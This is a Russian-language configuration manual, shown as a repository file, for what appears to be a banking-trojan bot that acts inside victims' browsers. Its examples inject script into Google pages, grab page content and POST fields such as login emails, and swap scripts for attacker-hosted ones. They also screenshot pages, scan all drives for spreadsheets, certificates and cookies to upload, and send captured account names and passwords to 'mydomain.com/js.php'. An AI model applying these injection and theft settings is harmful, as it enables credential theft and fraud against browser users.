-
Notifications
You must be signed in to change notification settings - Fork 53
/
config.txt
165 lines (114 loc) · 5.14 KB
/
config.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
Программа конфигуратор
----------------------
Шаблон URL
задает URL страницы с которой осуществляется какое-либо дествие.
В шаблоне могут использоваться символы "*" и "?".
Например "google.*/" - озанчает "google.ru/", "google.com/" и т.п.
"google.?u/" - означате "google.ru/", "google.su/" и т.п.
Шаблон может содержать префикс типа браузера:
IE: - для Internet Explorer,
FF: - для FireFox
CR: - для Google Chrome
При наличии одно из таких префиксов, условие будет выполняться только для указанного префиксом браузера.
Например: "FF:google.ru/page.js" - будет выполняться только для FireFox
"google.com/page1" - будет выполняться для всех браузеров.
Переменные и ключевые слова
Бот поддерживает переменные и ключевые слова.
Переменные сохраняются в рестре (см. вкладку Grab)
Переменные выделяются символом @ в начале и в конце. Например: @Name@
Ключевые слова:
@ID@ - обозначает уникальный ID пользователя.
@GROUP@ - обозначает номер группы бота.
Вкладка Replace - замена контента
-----------------------------------
Окно URL
задает шаблон URL страницы в содeржимом которой осуществляется замена
Окно Replace1
задает код(текст), который будет заменен
Окно Replace2
задает код (текст), на который будет замене код, указанный в Replace1
Например:
URL = "google.*"
Replace1 = "<HEAD>"
Replace2 = "<HEAD><script>alert('hello');</script>"
При загрузке страницы "google.com" в коде страницы будут найдены все фрагменты "<HEAD>" и
заменены на "<HEAD><script>alert('hello');</script>".
Вкладка Grab - Граббинг контента
---------------------------------
Окно URL
задает шаблон URL страницы в содeржимом которой осуществляется поиск и копирование контента
Окно CopyFrom
задает начало фрагмента для копирования
Окно CopyTo
задает конец фрагмента для копирования
Окно Varname
(опционально) задает имя переменной для сохранения контента
Например:
URL = "google.com/"
CopyFrom = "name =""
CopyTo = """
Varname = "UserName"
При запросе на "http://google.com", из полученной страницы будет скопирован фрагмент кода,
расположенный между "name = "" и """. Фрагмент будет отправлен на сервер, а также сохранен
в переменную "UserName".
Вкладка Full Replace - подмена страницы целиком
-----------------------------------------------
Oкно URL
задает шаблон URL страницы, которую необходмо подменить.
Окно New URL
задает адрес на который будет заменен URL.
Причем, URL для подмены формируется путем поиска в исходном URL шаблона и замены его на NewURL.
Например:
URL = "*google.com/counter.js*"
NewUrl = "mydomain.com/js.php"
При запросе на "www.google.com/counter.js?version=1&id=2", контент будет
загружен с "www.mydomain.com/js.php?version=1&id=2"
Вкладка Screenshot - создать снимок экрана
------------------------------------------
Oкно URL
задает шаблон URL страницы, для которой необходмо сделать снимок экрана.
Окно Text
(опционально) задает ключевое слово, при наличии которого в коде страницы будет сделан снимок экрана
При соответствии URL загружаемой страницы, заданному шаблону, и при наличии в ней ключевого слова
создается снимок экрана и отправляется на сервер.
Вкладка Scan files - поиск файлов
---------------------------------
В окне Scan files задаются маски имен файлов для поиска.
Разрешается испозльзовать символы "*", "?", "\".
Например:
"*.xls"
"c?rt.pfx"
"cookies\*.*"
Поиск производится на всех логических дисках, один раз, при получении конфига с сервера.
Найденные файлы отправляются на сервер.
Вкладка Post Params - сохранение POST параметра в переменную
--------------------------------------------------------------------------
Окно URL
задает шаблон URL при POST-запросе на который производится извлечение и сохранение параметра
Окно ParamName
задет имя параметра, значение которого нужно сохранить
Окно PostVar
задает имя переменной, в которую будет сохранено значение параметра
Например:
URL = "accounts.google.com/ServiceLoginAuth"
ParamName = "email"
PostVar = "account"
При послыке POST запроса на accounts.google.com/ServiceLoginAuth из контента запроса будет извлечено
значение параметра "email" и сохранено в переменную "account"
Вкладка Hidden - блокировать URL
--------------------------------
В окне Hidden задаются шаблоны URL страниц, загрузка которых должна быть заблокирована.
Здесь, также, существует возможность задать блокировку остылки POST-форм с определённых URL.
Для этого, перед шаблоном URL для блокировки следует поставить знак "!".
Вкладка Get Url - загрузить и обработать стороннюю страницу
--------------------------------------------------
Окно URL
задает шаблон URL страницы, при загрузке которой необходимо загрузить и обработать другую страницу
Окно Process Url
задает URL, который необходимо загрузить и обработать.
Например:
URL = "accounts.google.com/ServiceLoginAuth"
ProcessUrl = "mydomain.com/js.php?name=@account@&password=@pass@"
При открытии страницы "accounts.google.com/ServiceLoginAuth" будет сделан запрос на
mydomain.com/js.php?name=@email@&password=@pass@ с параметрами "account", "pass" взятыми из переменных
в реестре.